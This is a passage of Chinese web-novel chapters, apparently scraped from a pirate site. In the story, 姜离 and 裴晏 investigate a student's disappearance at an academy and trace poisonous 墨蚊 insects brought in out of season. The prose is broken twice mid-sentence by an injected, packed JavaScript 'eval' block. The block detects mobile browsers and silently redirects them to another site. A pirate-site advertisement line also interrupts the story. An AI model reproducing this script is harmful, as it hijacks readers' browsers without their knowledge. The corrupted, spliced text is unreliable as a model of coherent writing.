张穗儿应是,男子目光扫过姜离,先往文华阁而去,擦肩而过后,张穗儿轻声道:“姑娘,这是葛教头葛宏,来书院四年了,他是景德二十三年的武举探花,后一路从军,奈何官运不好,在永州驻军任参军,后来右腿受了伤,伤好后留下了些残疾,军中的位置也被占了,心灰意冷之下,受人引荐来了书院做教头。 姜离颔首,怀夕也道:“一看便是练家子。 待到了学舍之外,姜离并未直上二楼,而是绕行到了学舍楼后去,三人走入木林到了付怀瑾窗下,姜离抄起地上的枯枝,在后窗下的枯叶泥泞之中翻找。 怀夕看的奇怪,“姑娘在找什么? 姜离凝声道:“在找窗纸,付怀瑾的窗户破了四五格,其他几格的窗纸还沾在窗框上,其中两格的窗纸却不翼而飞,未在屋内,便应在窗后地上—— 连日大雨,事发后林中又来过人清理断枝,此刻地上枯叶泥渍一片杂乱,姜离翻找了半晌,只找到了一小块二指宽的窗纸,她捻起窗纸,又抬头看了一眼窗户,眉头愈发紧锁 ,接着,姜离又往南面后窗下走去,没走几步,便看到了几块被踩入泥渍的窗纸,乃是袁焱窗上掉下来的。 见姜离望着窗纸若有所思,张穗儿道:“那两个雷雨夜狂风大作,便是有窗纸掉下,只怕也被吹到不知何处去了,后来人来来往,被脚上泥带走了也说不定。” 张穗儿所言不无道理,姜离拍了拍手道:“当日打理这些枯枝的是何人?” 张穗儿道:“是院监带了两位斋夫,又和厨房那边的一众杂工帮忙,好些人呢。” 姜离便道:“好,我们去厨房瞧瞧。” 几人沿着林中小道往东面去,刚走到厨房院外,便闻见一股子令人生涎的咸香,张穗儿到底年幼,禁不住喜道:“是腊味!去岁年末老先生照顾山下的农户生计,买了好些他们的腊味回来,大家都很喜欢。” 张穗儿说着,几人走到了厨房窗外,站在檐下往内一看,便见屋内几人正在从蒸笼里取出大碗大碗的蒸腊味,肉香味四溢,看的姜离都食指微动。 见他们来,屋内之人都看过来,张穗儿喊道:“龚叔——” 龚叔是厨房伙夫,书院人多且皆是男子,一日三餐非同小可,有男帮工在,出力气时也有人顶得上,见张穗儿叫自己,他抹了抹手上水快步出来道:“怎么了穗儿?” 张穗儿示意姜离,“这位是薛姑娘,想问问龚叔,前日清晨,你们去学舍楼后收那些枯枝时,可曾见过付怀瑾屋后的地上有没有窗户纸片?” “窗户纸片?”龚叔一脸纳闷,“没怎么瞧见啊,就瞧见那窗格破了,说有人去叫门,里头的学子未应,便也没去修补了——” “什么窗纸?”说话间又有位蓝裙厨娘走了出来,其人身形富态,面上笑眯眯的,看着便给人亲善之感。 张穗儿道:“龚嫂,就是付怀瑾后窗之下,可曾瞧见纸片?” 龚叔龚嫂是对夫妻,在书院帮工已有五载,龚嫂闻言笑意一淡,谨慎道:“没什么纸片啊,我们当时收拾的干干净净,问纸片做什么?” 张穗儿看向姜离,姜离一笑道:“随便问问,你们正忙着,我们便不打扰了。” 龚叔二人对视一眼,仍是谨慎应好,见姜离三人慢悠悠往院门口走去,龚嫂看了一眼阴沉沉的天色道:“老龚,晚上要 用炭这会子你去忙浴房吧。” 姜离闻言回头看了一眼张穗儿轻声道:“龚叔不仅在厨房帮忙 姜离了然待出院门又往学舍前楼而去待回到付怀瑾屋子便见外头摆着几样家具屋内的地衣已被掀起裴晏半蹲在屋子正中间正在看地砖。 姜离上前来“怎么了?” “地砖上有道裂纹但难断定裂纹新旧。” 学舍是砖木混建二楼的地板为砖石铺就又因付怀瑾常年铺着地衣满屋石砖都十分干净可正中这块地砖上却有一道裂纹自北向南贯穿。 裴晏继续道:“这裂纹应是重压所致结合地衣之上也有两道印痕此处似乎放过何种重物或受过何种打砸亦或曾有高空坠物——” 姜离先看一眼屋顶又看向外头的家具裴晏道:“已经对比过了并无家具与地衣印痕和地上的裂纹吻合其他的家具器物也未发现异常但在他上锁的抽屉之中发现了几样辟邪的法器他似极信鬼神之说。” 姜离随裴晏看去便见书案一角摆着个紫檀木锦盒盒盖半开里头放着坠青金石串儿的金刚杵和一串沉香念珠。 姜离眉头皱了皱问:“适才袁焱想回长安你可知道?” 裴晏颔首这时九思上前一步道:“适才他看着我们搜检屋子看着看着忽然转身跑走没多时便得了消息他想回长安可真是奇了其他人虽也心中惶恐可明日便是春试也没人想走啊也不知他在怕什么——” 裴晏站起身来看向付怀瑾装衣物的箱笼道“眼下屋内古怪之处有四地砖与地衣上的印痕箱笼中的衣物褶皱不算多的血迹以及门窗上锁再来便是付怀瑾胆小辟邪信鬼神之异只凭这些还是极难推断屋内发生过什么。” 此言落定便是九思都愁眉苦脸起来“真是奇了往日也见过失踪的案子但多半有目击证人也能推出是如何失踪的如今是活不见人死不见尸 失踪的地方还是在自己屋子里,书院就这么大,他还不会武功,到底怎么消失的。 姜离看向窗格,“还有一处古怪—— 她道出窗纸消失之事,又谨慎道:“不过那两夜狂风大作,的确存在窗纸被吹去别处的可能。 裴晏盯向窗格,九思道:“可是窗格巴掌大小有何用?难道凶手制作了什么机关? 他说着话,又倾身去看窗格,“凶手如果要做密室机关,倒是可以将绳子一端绑在门闩上,然后另一头掉出窗口,从前门离去之后,再去后窗之下拉绳子,不过……若是如此,那凶手是如何撤走绳子呢?这在二楼,绳子可不短…… 九思说的情形,姜离和裴晏也想过,如他所言,这样长的绳子并不好收走,若是撞见人也极易露馅,此推测虽并不稳妥,但如今线索寥寥,裴晏还是道:“继续查问人证,凶手在书院行凶,绝不可能毫无痕迹。 话音落定,裴晏扫一眼地上砖裂大步而出,姜离打量了一圈屋子,也一并跟了下去,待回到大讲堂之外,便见薛湛几人还未离去。 见姜离与裴晏同来,有二三学子的目光落在姜离身上,又有人低声与薛湛轻声说着什么,薛湛摸了摸鼻尖,连忙正色而立,虞梓谦站在他身边,正掩着唇轻咳。 姜离目光扫过薛湛,随即走向了虞梓谦,她来了这半日,因付怀瑾之事紧急,还未与虞梓谦打过招呼,虞梓谦见她过来,忙拱手做礼,“薛姑娘—— 姜离莞然,“虞公子不必客气,我听你咳嗽之声深沉,可是染了风寒? 裴晏听见她二人说话,在门口一顿足后进了讲堂,虞梓谦自顾解释道:“是有些不适,二十八那天夜里下大雨,我起初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13100144|108220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡得还好,后来被断断续续吵醒,天快亮之时忽然想起在楼下放了一盆墨兰,那墨兰娇弱,本放在一楼栏杆之外见太阳的,我那时睡意也消了大半,便起身下了楼来,就那么淋了一点雨,这两日便咳嗽起来,已请林先生看过了。 薛湛闻言道:“那天傍晚天色便不对,我们都想到了晚上要下雨,你怎不早点收了? 虞梓谦苦笑,“白日温书没怎么出门,也未想得起来。 姜离听得心中微动,“一直断断续续被吵醒?你最后一次被吵醒是何时? 虞梓谦又咳一声,“应是卯时前后,天最黑的时候。” 姜离这时看向近前的薛湛,“二弟,你那夜何时入睡的?” 薛湛道:“那夜下雨的时候我还在温书,近寅时我才睡下,后来陆续又被雷声吵醒了两次,但我太困了,又都忍着睡了。” 姜离又看向薛湛身边几人,大家也纷纷点头,那叫孔昱升的学子道:“那夜里雷声不断,我们都没能好好睡觉,第二日起来人都发晕,二十九那夜里也是。” 众人皆露赞同之色,忽然,大家齐齐越过姜离看向他身后,姜离回头去,便见袁焱自听泉轩旁的巷道走了出来,他佝偻着肩背,面上尽是颓丧。 待到了跟前,姜离忍不住问道:“袁公子,敢问你二十八那夜何时入睡的?” 袁焱纳闷,“我不是说过吗?我一开始被吵醒了,后来忍了半晌才睡着,我也记不清时辰了,只觉过了至少小半个时辰那么久……” 姜离疑惑道:“睡着之后再未醒过?” 袁焱眉头紧拧起来,“我也搞不清是醒了还是没醒,好像醒了,听见雷声沉闷,又好像是做梦梦见雷雨瓢泼,我真的记不清了,反正我清晨醒神之时,屋内的油灯还剩一星豆火,可见我是困的连灯盏都顾不上熄……” 众人闻言各有异色,孔昱升便道:“你莫不是也胆小不敢熄灯吧?” 袁焱眉头一竖,“你少在此阴阳怪气!” 孔昱升轻哼一声不再言语,虞梓谦尴尬地朝姜离解释道:“怀瑾胆子小,若遇到雷雨天气,是经常彻夜不熄灯盏的——” 付怀瑾二十八日夜里便未熄灯盏,如此说来便是正常。 姜离应好,视线扫过孔昱升进了内堂,堂内裴晏正在问一个面生的学子,九思在旁做记录,她走去西窗之下站定,轻声问张穗儿道:“那位孔公子是何人?” 张穗儿轻声道:“是利州人,说来也怪,听说他父亲是胥吏之身,家中本不富足,可大抵两年前开始,他钱财花用逐渐殷实起来,后来还定了单独的学舍,住单独的学舍是要加束脩的,还不便宜……” 姜离心中微疑,但一想此事在两年之前,便又转了心思。 这边厢,裴晏在问的学子名唤鲁霖,他沉声道:“虫害不是早就结束?怎么会因为虫害换去隔 壁房中? 鲁霖苦涩地拉起袖子,“大人请看嘛,不光我,我和叶修志我们都换了,本来只是最北面的屋子有虫害,但一下雨屋子就要受潮,受潮后虫子又不知从何处钻出来了,本月二十就下过雨的,二十七傍晚也飘过雨丝,当天晚上我们就被咬了,二十八就不敢再住,便去隔壁挤着了,二十八半夜下大雨,我们都断断续续醒来过,但外头雨势地动山摇的,我们也不敢出来,就这么着,两天晚上是什么也没听见。 张穗儿看着鲁霖轻声道:“这位鲁公子本来住在一楼,在袁焱楼下,但下雨那两天,屋子里有虫害,他们便搬去了隔壁严志修屋内。 姜离闻言近前两步,便见鲁霖手臂上三个拇指大小的红斑,红斑处肿胀溃破,显是痒得厉害被挠的狠了,姜离不禁问:“是什么虫子? 鲁霖无奈道:“就是一种小飞虫,常在湿地周围出现,因后头的林子里多有枯叶腐叶,便生了虫子,年后我们用艾草熏过屋子,但每次没过两日便又开始了,起先只是最北面的屋子闹,现在连我们的屋子也闹起来了。 方青晔提过虫害之事,鲁霖又忍不住地抓了抓手臂处,道:“这虫子厉害的很,每次咬人总是奇痒无比,轻则起包折磨半日,重则便是我这般,三五天都痒痛难消,眼看着要考试了,我们几个因这虫子,连温书都难定心神。 姜离道:“可在书院看过? 鲁霖苦着脸道:“林先生看过,也有药膏,但就是不起效。 姜离一默,眼见他伤处近乎发脓,便道:“这虫子极毒,或许还会生水疱与丘疹,我去给你们配个药膏吧。 鲁霖闻言连忙拱手道谢,姜离看向张穗儿,还未发问,张穗儿便重重点头,“书院内有药房,姑娘请跟我来—— 姜离看一眼裴晏转身而走,出了门,一路往听泉轩东面行去。 张穗儿道:“姑娘要怎么配药?可要我找人来帮忙? 姜离道:“无需,我自己制便是—— 走过听泉轩,姜离忍不住往南面看去,便见南面木林虽密,但若不下雨,满地枯枝腐叶也算不上潮湿,且年后天寒,山上天气更是比长安寒凉,这好端端的学舍,怎么会出现那等毒虫? 作者有话要说 我来啦~这几天电脑不在身边没写成QAQ 可以猜猜付怀瑾到底在哪了!! 第 148 章 早有预谋 “等制了药,再带我去各处瞧瞧。” 姜离话毕,张穗儿脆声应好,也跟着纳闷道:“今年书院内也不知怎么了,虫害鼠害皆多,此前厨房也遭了殃,好些米粮都被毁了。” 书院药房在听泉轩以东,厨房以北,乃是一座独院,姜离沿着青石砖小径一路行过,也不禁道:“确实不应该——” 张穗儿道:“姑娘知道?” 姜离忙解释道:“那位鲁公子说的毒虫,我若没猜错,应是一种名为墨蚊的毒虫,这种毒虫的确常年出现在阴凉潮湿之地,但多出现在春暖花开后,如今虽已入春日,可山上仍是寒凉,纵然山林间湿气更重,但不应成为祸患。” 张穗儿抓了抓脑袋,“爷爷也说呢,说那种虫子往日只在马厩、竹林、湖畔和后山出现,今年也不知怎么了,竟跑去了学舍之中。” 姜离自然明白,待入药房院,便见一个鬓发花白的老者正在廊下晾晒药材,张穗儿快步道:“何叔,这位是薛姑娘,是长安极有名的医家,他来给老先生治病,打算再给他们被虫子咬过的做些药膏,你开药房吧。” 何景柏连忙应好,掏出钥匙将西厢房打了开,张穗儿又道:“何叔不必管了,薛姑娘自己会制药,您忙去吧。” 何景柏应好,又解释道:“连着两日下雨,刚采的黄精都生霉了。” 等他离开门口,张穗儿道:“何叔年过五十了,本是山下药农,因收成不好,家中妻子又生了病,便在书院讨了差事,他也粗通些药理,除了管着药房,还自己去后山采药,这里好些药材都是他自己采的,也省了不少开销。” 姜离了然,稍作沉吟后拟得一方,取来药材后,用现成的捣药罐磨碎,再加上油蜜调制,前后半个时辰,一副药膏便制好了。 刚走出药房,却见龚嫂自厨房方向走了进来,笑道:“姑娘在这里啊!不知姑娘想在何处用膳?送去幽篁馆可好?” 姜离莞然道:“我都好,您安排便是。” 龚嫂笑着道:“按理今日应该给您和裴大人接风的,可如今这情形,大家都无兴致宴客,客人们的膳食是送去听泉轩的,裴大人说就在讲堂中用膳,您的膳食送去幽篁馆,方安静无打扰,那我这就送去幽篁馆——” 姜离自是应下,待龚嫂离开 姜离便带着药膏同出药房院门本是想回讲堂找鲁霖一出门却见学子们成群结队地进了膳堂远远地张穗儿一眼看到了鲁霖的背影“姑娘鲁霖也去用膳了。” 姜离便道:“我们先送过去再回幽篁馆。” 三人绕着小径往膳堂行去还未走到门口便听见堂内有人恹恹地说话。 “如今出了这等事连春试还考不考都不知道现在真是连用膳的心思都没了今年过年家都没回若是又延误了哎……” “不考怎么了?若不考咱们再继续温习功课不就好了?” “可不是你看看今日的菜色来了贵客咱们的膳食都变好了瞧这腊肉色泽你们不吃?你们不吃我先开动了……” “谁说不吃我馋了许久了每次进浴房总能闻见这咸香前几日清晨那肉香简直馋的我想生食所谓‘霜刀削下黄水精月斧斫出红松明①’若再来两只蟹钳那便是‘世间真有扬州鹤’了此等好物若是浪费 “不愧是你孔昱升用膳也得拽个诗文……” 众人三言两语膳堂内恢复了几分生气姜离在门外廊下驻足只张穗儿上前将鲁霖叫了出来姜离递上药膏道:“一日涂上三次伤处不可见水。” 鲁霖忙做谢礼姜离客气一句转身朝院外而去。 出了院子姜离方问:“怎么那孔昱升说在浴房闻见了咸香?” 张穗儿笑道:“姑娘有所不知腊月里买的腊肉都是生肉还未熏制完全送回来之后厨房里头挂不下便都挂去了浴房浴房要烧热水有五口大灶在那里烘烤之后方可保存日久今年挂一年也不会有损哦当然要防止鼠患。” 姜离了然点头先回幽篁馆用午膳。- 用完午膳已近申时张穗儿带路先往书院马厩而去。 马厩在西门以南距离幽篁馆并不远几人穿过遍植榆柳的小径没多时便到了马厩守着马厩的是个四十来岁的中年男子张穗儿见面便唤道:“徐叔可用了午膳了?” 徐万友年过四十背脊佝偻手脚还算麻利正抱着一大捆草料要去喂马“用了用了穗儿怎么来了?” 张穗儿道:“书院来了贵客我带这位客人逛逛。” 徐万友恍然道:“可是来看看马儿喂得如何?客人不必担心,虽然马房只有在下一人,可客人们的马儿在下是半点不敢疏忽—— 马厩连着马房,姜离一行的车架停在南面院棚下,马儿则在马厩中吃草料,姜离笑道:“您误会了,并无不放心,此来是想问问,您今日可被毒虫咬过? 徐万友放下草料,迷惑道:“毒虫?您说的是飞蚊还是什么? “您可知道墨蚊?姜离又问。 徐万友恍然,“知道知道,就是那墨色的蚊蝇,看起来寻常,飞动无声,叮咬人却十分厉害,可对?入夏之后是有的,但这几日没有,怎么问起这个? 姜离蹙眉道:“往日也是入夏之后才有? 徐万友颔首,“是啊,只要勤于清理,那飞蚊不好长的,我这里也不算潮湿。 徐万友显然知道墨蚊习性,其裸露在外的双臂与脖颈,也不见任何红斑红点,姜离又打量了一圈马厩,点头,“没事了,那便不打扰了。 徐万友有些莫名,又继续喂马,姜离三人则原路返回。 走远几步,怀夕问:“姑娘,马厩里都没有那毒虫,是不是那毒虫隐蔽性太好了? 姜离沉声道:“墨蚊在南方又称为‘小咬’,叮咬人厉害不说,体型亦小,极易与普通的飞蝇混淆,再加上飞动时无声响,常在黄昏与夜里活动,隐蔽性的确极佳。但墨蚊多以腐物与血液为食,喜腥甜气味儿,动物飞禽之血为次,人血最佳,因此墨蚊栖息之地周围只要出现人,它们一定会叮咬人,徐叔既不曾被咬过,那便说明马厩之内绝无墨蚊。 微微一顿,她又道:“这墨蚊繁殖力不强,且翅膀短小,飞动距离有限,一般的活动范围多是在一两间屋子大小,一旦屋内无血液吸食,或以艾草烟熏,它们很快便会消亡,因此先前在学舍那边并未扩散开。 怀夕纳闷道:“那便是说,这墨蚊多半是书院内长出来的?但为何就在北面那两间屋子呢?那一排学舍之后不都有木林吗? 姜离神容凝重道:“我也不解,但眼下更奇怪的还是书院其他更易生墨蚊之地并无墨蚊,穗儿,我们再去其他地方看看—— 张穗儿道:“去湖边?还是去竹林? 姜离道:“墨蚊 依腐物而生,书院内出现过的地方都走一遍。” 张穗儿便指向幽篁馆东北方向,“那边有一片竹林,我们先去瞧瞧?” 姜离颔首,张穗儿遂在前引路,姜离一边走一边再打量书院各处,待到了竹林跟前,便见这片竹林倒是并无太大变化,然而进了竹林,林间虽有些飞蚊,却并非墨蚊,转了一圈,一行人又往君子湖畔而去。 “湖边潮湿,易有杂草,杂草腐烂之后便可能生墨蚊。” 姜离边走边解释,然而三人到湖边走了一圈,除了发现几只斑点飞蝶与一片水蚊之外,再无别的蚊蝇,张穗儿想了一会儿,“大茅厕,茅厕之后有一片矮竹——” 茅厕多腐物,再加上矮竹确有可能出现墨蚊。 书院的大茅厕在浴房以南,为学子们所用,三人沿着木林到了跟前,张穗儿先掩着口鼻道:“姑娘莫要嫌弃——” 姜离轻掩鼻尖,跟着张穗儿绕至茅厕之后的矮竹林中,这片竹林比幽篁馆之外的更为低洼,前几日下过大雨,此刻地面仍是潮湿,又因为紧邻茅厕,林中多有飞虫,然而几人在林中转了一圈,也并未瞧见墨蚊踪影。 怀夕道:“莫不是要等晚上?” 姜离摇头,“墨蚊忌光,并非一定要晚上才出来,今日阴天,林中光线亦是昏暗,不可能藏在林中不出——” 张穗儿小脸拧成一团,“那我想不出还有哪里有墨蚊了。” 姜离蹙眉片刻,“去学舍之后看看。” 她快步而出,又往学舍后墙走去,此次她从南面往北面走,便见整座学舍楼南面更为低洼,后檐沟中更还有一段积水。 怀夕看着便道:“不对啊,这后檐之下是南面积水,北面反而不易积水,即便生墨蚊,也该是南面的学舍更易生才对,且这里离茅厕也更近,怎么看都是南面多蚊虫,北面是有什么吸引墨蚊的东西?还是问题出在他们屋子里?” 姜离步伐越来越快,等再回到袁焱与付怀瑾所住后窗下,便见除了满地枯枝败叶再无异物,林中虽有泥土与枯叶的腐败气味儿,却并非墨蚊所喜。 姜离眉头拧起,“事有反常即为妖。” 话音落定,姜离轻提裙摆往大讲堂而去,到了讲堂门外,便见几个高高矮矮的学子站在堂内,张穗儿瞧见,低 声道:“是陶景华他们和付怀瑾打过架的。” 讲堂内站着四人前面两人个头较矮 “大人我们无一句虚言——” 忽然后面长眉细眼的黄衫公子开了口“我们已经忍了两个月了这些事书院其他人也是知道的先生们也是有所耳闻的林先生还曾警告过他们可哪里有用?我们久慕山长之名不远千里而来何为‘立身、敦品、养性’?何为‘博学、审问、慎思、明辨、力行’?山长的治学治世之理我们才来两月便铭记在心他们已经在此进学两载却不知其意?不外乎是心性顽劣罢了——” 这年轻人说的义愤填膺听得身侧之人惶恐更甚他拉了黄衫公子一把那黄衫公子却一把将他甩了开又仰头道:“请大人恕罪您身后的匾额上写着‘实事求是’四字这也是山长所授立身之本在下心有愤懑不发不快。” 此人言辞激烈背脊笔挺姜离挑了挑眉倒是有些欣赏之色。 张穗儿看的紧张低声道:“说话的就是贺炳志今岁十九在他身边的是胡修文比他年轻一岁最前面那少年老成的是十三岁的陶景华陶景华身边最矮瘦的是同龄的江麒他们四个今岁新来且都是南方人便处到了一起。” 姜离微微颔首便见裴晏也并不显怒色他道:“你对付怀瑾等世家子弟心有不满那二十八和二十九两天夜里呢?” 贺炳志道:“二十八那天晚上我们一起温书到丑时刚躺下便听见了打雷声起初被吵的很难入眠但没过多久我们就全都睡着了这中间迷迷糊糊的醒过两次但都只是片刻功夫直到第二天早上醒来。二十九那天晚上也差不多中间醒过一两次但也懒得起来我们都是南方人男方入了春夏雷雨天气实在多见我们也不会大惊小怪。” “二十八那夜雷声阵阵卯时之前还有惊雷你们都未醒来?” 裴晏面有疑色贺炳志重重点头“不错——” 他沉默片刻沉声道“因我们已经有两天没睡了。” 裴晏扬眉,“为何两天没睡? “因为春试将近,我们在温书—— 贺炳志咬了咬牙,面上浮现出难堪之色,“我们从前最多在府学念过书,那里的先生多是举人,甚至还有秀才,他们教我虽是绰绰有余,可到了书院,与其他人却是不能比的,这两月以来,我们也闹了不少笑话,春试是第一回考试,我们虽明白自己挣不了头名,可也不想就此屈服,进入二月以来,我们时常通宵达旦地温书,二十七日晚上更是一夜不曾合眼,如此撑到了二十八那天晚上,雷雨声又算得了什么? 贺炳志在四人之中年纪最长,自然而然担起兄长之责,他话音落下,其他三人皆是点头附和,裴晏盯着他道:“可有旁人为你们作证? 贺炳志一愣道:“我们四人住在一处,何人能为我们作证?我们互相作证不就成了?我们屋子不大,且我们的房门年久失修,每次开门必有刺耳的‘吱呀’声,若有人起身出门我们必定知道,还有,我们的屋子也无法藏人,院监和大人都已搜过了,那么大的雨,我们谁能出门伤了人还把人藏起来呢?我们在二楼最南面,中间有近二十间房的长廊,但凡有人没睡,我们便会被发现,若要害人也不会用这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13100145|108220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等法子。白日里我们也多在一处,若是去饭堂去茅厕,也都极少独自行动,并且我们也不可能白日行凶,更要紧的是,付怀瑾根本不会放我们任何一个人进他的屋子。 贺炳志字字铮然,底气十足,每说两句另外三人便跟着点头,显是唯他马首是瞻。 裴晏不动声色,又问:“那你们可有怀疑之人? 四人默然起来,半晌,还是贺炳志道:“我们四人诚心求学,无依无靠,已经忍了两月,没道理因为打了一架就忍不下去了,我们也知道付怀瑾的出身背景,在这长安城外,我们但凡有人犯了错,那都是逃不了的,在我看来,反倒是那些与他平日里称兄道弟,门第相当之人会对他起杀心,我……我便曾看过他与薛湛、柳元嘉二人起过争执。 裴晏眉眼微肃,“薛湛与柳元嘉?那是何时之事? 贺炳志抿紧唇角,犹豫片刻道:“应该是……月前之事了,与薛湛是在丙字学斋之中,当时薛湛在与孔昱升清谈,付怀瑾在外不知听了什么,进门与他们争辩起来,孔昱升与付怀 瑾素不对付,薛湛却与孔昱升有几分交情,如此吵了起来,付怀瑾口中提到了什么‘龙阳’之语…… 贺炳志眉头上下挑动一下,眼底生出厌恶,看一眼裴晏,又正色道:“与柳元嘉,则是在学舍之中,他们住的屋子也不远,当日付怀瑾似是动了柳元嘉什么私物,惹得柳元嘉很是恼怒,付怀瑾也并非好相与的性子,便吵了起来。 裴晏又道:“这又是何时之事? “应是二月初,大半月之前了。 “那他们后来相处如何? 贺炳志道:“后来明面上似乎和好了,但私底下如何不得而知。 裴晏紧紧盯着他,“还有别的异处吗? 贺炳志想了想,道:“付怀瑾与袁焱的关系,也好的不寻常,听闻袁焱的叔父是当朝大将军,可他却整日忍受付怀瑾的颐指气使,令人想不通。 裴晏语声微凉,“你是暗指他二人关系暧昧? 贺炳志腰背一挺,正声道:“我并无此意,文人士子从来讲求风骨,我只是不解,他明明不比付怀瑾差多少,凭何如此伏低做小罢了。 裴晏看向其他三人,“你们也知此事? 鹅小说更新,记住域名qiexs.com?(请来企 鹅小说 看最新章节 完整章节) 三人犹豫片刻,年纪最小的江麒低声道:“其实大家都有所耳闻。 裴晏微微颔首,“行了,先到此为止,回去歇下吧,若再想到什么时刻来禀报便可。 四人齐齐松了口气,又朝裴晏一拱手转身而走,待出了门,方才见姜离等候在外,几人面色微微一变,绕过姜离快步而去。 姜离转身,望着四人离去的背影,江麒与陶景华两个年纪小的显受了惊吓,不顾仪态一溜小跑,贺炳志与胡修文笔挺的背脊也佝偻了几分。 姜离进屋问:“是在问打架的事? 裴晏颔首,“他们四人皆是今岁新来,贺炳志是永州人,江麒是衡州人,胡修文是吉州人,陶景华则来自麻州,江麒与陶景华才十三岁,此番不远千里来长安,路上便走了一个多月,很是不易,来了书院后,四人相处极好,贺炳志和胡修文对他二人也十分照顾,那日动手便是因付怀瑾夺了陶景华先一步借走的书册—— 姜离道:“这个贺炳志答话不似作假。 裴晏身边的长案上已放了多份证供,此时 他翻着证供道:“我也有此感他们的屋子我去过那扇门开关的声响的确不小在加上四人同住嫌疑当不大只是他适才提到了薛湛和柳元嘉但这二人问证之时却说和付怀瑾关系亲近虽不比袁焱但也打成一片……你这半晌去了何处?” 此问落定姜离忙将墨蚊之诡道来又说:“不可能好端端的独那两间屋子生墨蚊要么是那屋内有何腐物 姜离未说出口但众人都听得明白裴晏将证供一合利落道:“去找方院监拿钥匙我们去搜那两处屋子。”- 方青晔来的很快一边掏钥匙一边道:“搜杂物房做什么?鲁霖他们的屋子我们已经搜过也用艾草熏过没发现什么古怪。” 他说着话打开房门便见北面屋内果然堆满了木床草席等不必要的杂物方青晔在门口道:“这屋子算半个库房多余的桌椅板凳都在此平日里钥匙都在我这里也没人来开门虫害都已是月余之前的事了。” “当时住了何人?” “是苏青淮与廖明成二人。” “把人喊来——” 裴晏吩咐一声在屋内查看一番后只闻到了些许灰尘霉味除了木作家具并未发现任何腐物看完了此处几人又往隔壁鲁霖的屋子而去。 房门已打开屋内青砖铺地桌椅两套柜阁两套摆设十分简单鲁霖二人私物皆在门窗也从内锁死乃是贫家学子的学舍模样。 鲁霖在门口恹恹道:“我们也不知怎么回事四处都检查过但那小虫针尖大又无声随便往哪个犄角旮旯一藏便再也难找艾草熏完未尽我们便不愿受罪搬去隔壁了在隔壁挤了这几晚上倒是好好的。” 说话间九思几人已搜遍屋子本就是三丈见方的小屋是否有腐物一眼便知但最终的结果仍然让姜离心底发沉。 “公子干干净净的除了东墙这一侧墙角有些潮湿霉斑并无别的异样更没有发现腐物和血腥……” 搜寻未果裴晏心头疑云更甚看着愈发昏暗的天色他又带着众人返回大讲堂进门之后姜离忍不住道:“书院就这般大适才我已走遍了几处可能生墨蚊之地但仍然毫无发现——” “倘若墨蚊不是生在书院内那便是有人刻意从外头带进来。”裴晏说着看向姜离道:“后山有大片紫竹林可有生墨蚊的可能?” 姜离自然知道后山有竹林她顺着点头“自然墨蚊最喜湿草地与竹林但若有人刻意将此物带入书院内那便是早有预谋。” 方青晔听得面色几变裴晏利落道:“时辰不早我们兵分两路一路在书院内继续搜查一路随我去后山……” 作者有话要说 来了! 第 149 章 错综无绪 走入紫竹林时,姜离有片刻怔然,八年之前,她就是在这里看裴晏剑荡林风,也是在这里,裴晏一招一式,不厌其烦地教了魏旸一年。 她忍不住扫一眼裴晏,便见裴晏视线也落在她身上,四目相对,姜离心境复杂地撇开了目光。 此刻已是申时过半,天边铅云堆积,林中光线愈发昏暗。 裴晏一声令下,九思等七八人分散开来,一往碑林于方向,一往西南坡地方向,姜离和裴晏则一同往东北面通向青云崖的深林走去。 二人同行在前,皆不言语,怀夕跟在后,莫名被这气氛影响,也不敢开口说话,张穗儿看看这个,再看看那个,奇怪道:“姑娘不是说那墨蚊通常飞不远嘛?若墨蚊在这林子里,那旁人如何带入书院去呢?” 姜离问:“你可捕过蝉吗?” 张穗儿一愣,“捕过,当然捕过,书院入夏之后,若是学斋外头的林子太吵,先生还组织大家一起捕蝉呢——” 姜离便道:“蝉能捕,这墨蚊自然也能,只需在林间墨蚊出现之地放一点儿带血的生肉,那墨蚊便会闻味儿而来,附着不去,轻而易举便能捕到,不仅能捕,还能养,用腐肉或腥血,养上三五日不成问题。” “噫,这也太恶心了。”张穗儿听得龇牙。 怀夕道:“正常人自不可能做这些,但凶手为了害人会无所不用其极。” 书院后山地势陡峭,仲春时节,依山而生的紫竹林一片郁郁葱葱,姜离目光敏锐地盯着林中各处,尤其往凹陷潮湿之地寻,裴晏对这竹林更是熟悉不过,然而二人在林中转了一刻钟的功夫,除了飞蚊雀鸟之外,并未发现墨蚊踪迹。 张穗儿纳闷道:“前两日下了雨,虽说是大雨,可这后山多是坡地,素来少积水,而最近的溪流在西南方向的山坳里,离这里有二里地远呢,且下去的小路十分陡峭,大雨之后更不好走,而若是往北面走,便是去青云崖了,青云崖辟成了练武场,亦是此峰尽头,在其东面有一片古佛石刻,但那里同样是处断崖,因三十多年前有人在那里坠崖,那石刻也成了书院禁地,已被封了住。” 张穗儿一边走一边慢悠悠说着,很快又继续道:“便是未封路,石刻之下也是峭壁嶙峋,无下山之路,也无溪流水潭,不是潮湿之地才生毒虫吗? 我实在想不到哪里能生墨蚊,总不可能是山下带上来的……” 姜离与裴晏何尝不知山上情形,二人面色凝重地等了片刻,九思和另一队人马返回,九思禀告道:“公子,姑娘,没见到说的那种蚊虫。” 姜离与裴晏对视一眼,瞳底皆有焦灼,眼看天色渐昏,一行人只得先返回书院,书院内,方青晔正带了几个斋夫与武卫四处搜寻,然而只看其神色,便知他们也搜索无果。 